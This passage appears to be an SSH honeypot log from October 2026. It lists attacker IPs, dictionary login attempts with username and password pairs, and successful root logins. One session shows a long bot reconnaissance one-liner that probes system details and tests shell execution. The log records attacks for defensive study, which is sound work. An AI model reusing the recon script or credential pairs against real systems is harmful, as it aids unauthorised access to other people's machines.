    "FAILED LOGIN"
  ]
}
92.118.39.77
2026-10-08 14:38:45.525327 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 200

Credential acceptance event recorded. Target authentication: root / 111111

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
[obs-node]:~$ uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null
Command not found: /usr/bin/uname -s -v -n -m
[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ ( [ -f /proc/version ]
[obs-node]:~$ [ -f /proc/version ]
[obs-node]:~$ head -1 /proc/version | cut -d -f1
[obs-node]:~$ [ -f /etc/os-release ]
Record ID: 062862ce3caf
Client Version: SSH-2.0-Go
Engagement Duration: 7.4s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "062862ce3caf",
  "src_ip": "92.118.39.77",
  "start_time": "2026-10-08T14:38:45.525327Z",
  "end_time": "2026-10-08T14:38:52.923182Z",
  "duration": "7.4",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "111111"
  },
  "commands": [
    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:43.659864 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sed

Record ID: 72956817b6be
Client Version: SSH-2.0-Go
Engagement Duration: 13.4s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "72956817b6be",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:43.659864Z",
  "end_time": "2026-10-08T14:38:57.048675Z",
  "duration": "13.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sed",
      "pass": "prueba"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:37.878715 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sshuser

Record ID: 1d140db8de61
Client Version: SSH-2.0-Go
Engagement Duration: 12.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1d140db8de61",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:37.878715Z",
  "end_time": "2026-10-08T14:38:50.398744Z",
  "duration": "12.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sshuser",
      "pass": "ahmad"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:31.340780 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s9liwens

Record ID: afbb6593e919
Client Version: SSH-2.0-Go
Engagement Duration: 10.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "afbb6593e919",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:31.340780Z",
  "end_time": "2026-10-08T14:38:42.183729Z",
  "duration": "10.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "s9liwens",
      "pass": "steam"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:24.700483 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vendas

Record ID: a35bc8540fb7
Client Version: SSH-2.0-Go
Engagement Duration: 11.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "a35bc8540fb7",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:24.700483Z",
  "end_time": "2026-10-08T14:38:36.290657Z",
  "duration": "11.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "vendas",
      "pass": "ch123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:18.145747 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jinruihong

Record ID: 78bd0449f184
Client Version: SSH-2.0-Go
Engagement Duration: 12.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "78bd0449f184",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:18.145747Z",
  "end_time": "2026-10-08T14:38:30.655036Z",
  "duration": "12.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "jinruihong",
      "pass": "arma3"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:12.253991 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ispconfig

Record ID: e5e87489cc8d
Client Version: SSH-2.0-Go
Engagement Duration: 11.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "e5e87489cc8d",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:12.253991Z",
  "end_time": "2026-10-08T14:38:23.854153Z",
  "duration": "11.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ispconfig",
      "pass": "web"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:04.764539 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sem6

Record ID: d41a123c505a
Client Version: SSH-2.0-Go
Engagement Duration: 11.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "d41a123c505a",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:04.764539Z",
  "end_time": "2026-10-08T14:38:16.003689Z",
  "duration": "11.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sem6",
      "pass": "zyang"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:37:59.493548 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rajadeepan

Record ID: 956b309941c2
Client Version: SSH-2.0-Go
Engagement Duration: 11.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "956b309941c2",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:37:59.493548Z",
  "end_time": "2026-10-08T14:38:10.501333Z",
  "duration": "11.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "rajadeepan",
      "pass": "raissa"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:37:52.625042 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tactical

Record ID: caac6f725f1c
Client Version: SSH-2.0-Go
Engagement Duration: 8.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "caac6f725f1c",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:37:52.625042Z",
  "end_time": "2026-10-08T14:38:01.383179Z",
  "duration": "8.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "tactical",
      "pass": "trader"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:37:45.663557 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: idavies

Record ID: b88c1829486b
Client Version: SSH-2.0-Go
Engagement Duration: 9.4s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "b88c1829486b",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:37:45.663557Z",
  "end_time": "2026-10-08T14:37:55.030916Z",
  "duration": "9.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "idavies",
      "pass": "app123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:37:38.119639 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: Ubuntu

Record ID: b04e6864c5e1
Client Version: SSH-2.0-Go
Engagement Duration: 10.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "b04e6864c5e1",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:37:38.119639Z",
  "end_time": "2026-10-08T14:37:48.339685Z",
  "duration": "10.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "Ubuntu",
      "pass": "qq123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:37:31.722756 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: guled-new

Record ID: d64fb4e1a818
Client Version: SSH-2.0-Go
Engagement Duration: 9.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "d64fb4e1a818",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:37:31.722756Z",
  "end_time": "2026-10-08T14:37:40.951123Z",
  "duration": "9.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "guled-new",
      "pass": "user10"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:37:24.772386 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: runner

Record ID: fe30bb27e1d2
Client Version: SSH-2.0-Go
Engagement Duration: 8.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "fe30bb27e1d2",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:37:24.772386Z",
  "end_time": "2026-10-08T14:37:33.682287Z",
  "duration": "8.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "runner",
      "pass": "None"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:37:18.511405 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs367

Record ID: 07be8a14476b
Client Version: SSH-2.0-Go
Engagement Duration: 4.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "07be8a14476b",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:37:18.511405Z",
  "end_time": "2026-10-08T14:37:23.024824Z",
  "duration": "4.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "cs367",
      "pass": "Pa292938w0rd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:37:16.870518 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ironman

Record ID: 94ab57cf0a55
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "94ab57cf0a55",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:37:16.870518Z",
  "end_time": "2026-10-08T14:37:19.923842Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ironman",
      "pass": "ironman"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:36:39.054316 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: abde3b051104
Client Version: SSH-2.0-Go
Engagement Duration: 8.0s
HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227
{
  "id": "abde3b051104",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:36:39.054316Z",
  "end_time": "2026-10-08T14:36:47.054164Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
41.93.82.201
2026-10-08 14:35:39.702049 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 158dfb1180dd
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "158dfb1180dd",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:35:39.702049Z",
  "end_time": "2026-10-08T14:35:41.758909Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:35:36.311865 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: b540437a1d44
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "b540437a1d44",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:35:36.311865Z",
